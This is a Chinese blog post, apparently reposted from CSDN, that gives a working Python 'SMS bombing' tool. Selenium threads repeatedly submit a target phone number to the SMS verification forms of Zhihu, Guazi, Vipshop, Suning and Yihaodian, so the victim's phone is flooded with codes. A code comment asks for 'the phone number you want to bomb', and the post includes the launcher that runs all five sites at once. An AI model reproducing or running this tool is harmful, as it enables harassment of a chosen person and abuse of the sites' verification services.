Python短信轰炸的代码

作者:小小鸟敲代码 时间:2022-11-03 17:35:04 

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法


from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
 def __init__(self):
   self.phone = "xxxxx"#你要轰炸的电话号码
   self.num = 0
 def send_yzm(self,button,name):
   button.click()
   self.num+=1
   print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
   time.sleep(30)
 def zhihu(self,name):
   while True:#下面这行是刚刚叙说的chromedrive的安装路径

driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
     driver.get("https://www.zhihu.com/question/39993344")
     driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
     time.sleep(2)
     tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
     tel.send_keys(self.phone)
     button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
     self.send_yzm(button,name)
     driver.quit ()
 def guazi(self,name):
   while True:
     driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
     driver.get("https://www.guazi.com/www/bj/buy")
     a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
     a_btn.click()
     time.sleep(2)
     tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
     tel.send_keys( self.phone )
     button = driver.find_element_by_xpath("//button[@class='get-code']")
     self.send_yzm(button,name)
     driver.quit()
 def wphui(self,name):
   while True:
     driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
     driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
     tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
     tel.send_keys ( self.phone )
     driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
     button = driver.find_element_by_xpath (
       "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
     self.send_yzm ( button,name )
     driver.quit ()
 def suning(self,name):
   while True:
     driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
     driver.get ( "https://reg.suning.com/person.do" )
     driver.find_element_by_xpath("//a[@class='agree-btn']").click()
     tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
     tel.send_keys ( self.phone )
     button = driver.find_element_by_xpath (
       "//a[@id='sendSmsCode']" )
     self.send_yzm ( button,name )
     driver.quit ()
 def yhd(self,name):
   while True:
     driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
     driver.get ( "https://passport.yhd.com/passport/register_input.do" )
     driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
     tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
     tel.send_keys ( self.phone )
     time.sleep(2)
     button = driver.find_element_by_xpath (
       "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
     #button.click()
     time.sleep(1)
     self.send_yzm ( button,name )
     driver.quit ()

执行放发


from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

来源:https://blog.csdn.net/qq_40811171/article/details/105044371

标签:Python,短信轰炸
0
投稿

猜你喜欢

  • 设定sql server定期自动备份数据库

    2024-01-16 18:14:30
  • 获取Dom元素的X/Y坐标

    2009-10-10 12:49:00
  • asp如何更好地保护我的网页?

    2009-11-22 19:29:00
  • Go秒爬博客园100页新闻

    2024-04-26 17:15:49
  • 自动化收集SQLSERVER诊断信息的工具选择及使用介绍

    2024-01-14 11:01:04
  • MySQL常用SQL语句总结包含复杂SQL查询

    2024-01-14 09:37:26
  • JSP 开发之 releaseSession的实例详解

    2023-06-14 11:49:03
  • flask-script模块的具体使用

    2022-04-08 10:53:34
  • MySQL性能优化之路---修改配置文件my.cnf

    2024-01-23 16:20:53
  • 基于Python中求和函数sum的用法详解

    2022-12-05 23:26:18
  • 目标检测mAP的概念及公式详解

    2022-05-24 17:55:57
  • jupyter notebook的安装与使用详解

    2022-09-11 23:35:25
  • mysql创建master/slave详细步骤

    2011-05-21 15:29:00
  • pandas中的DataFrame数据遍历解读

    2023-12-03 21:57:34
  • python爬取代理IP并进行有效的IP测试实现

    2021-05-08 15:31:38
  • Python如何把Spark数据写入ElasticSearch

    2021-06-28 20:07:46
  • 浅谈python3打包与拆包在函数的应用详解

    2022-03-05 00:33:15
  • vscode配置与python虚拟环境切换的几种方式总结

    2023-09-04 07:09:28
  • Mysql systemctl start mysqld报错的问题解决

    2024-01-26 03:41:45
  • Python如何在DataFrame增加数值

    2021-07-23 12:56:29
  • asp之家 网络编程 m.aspxhome.com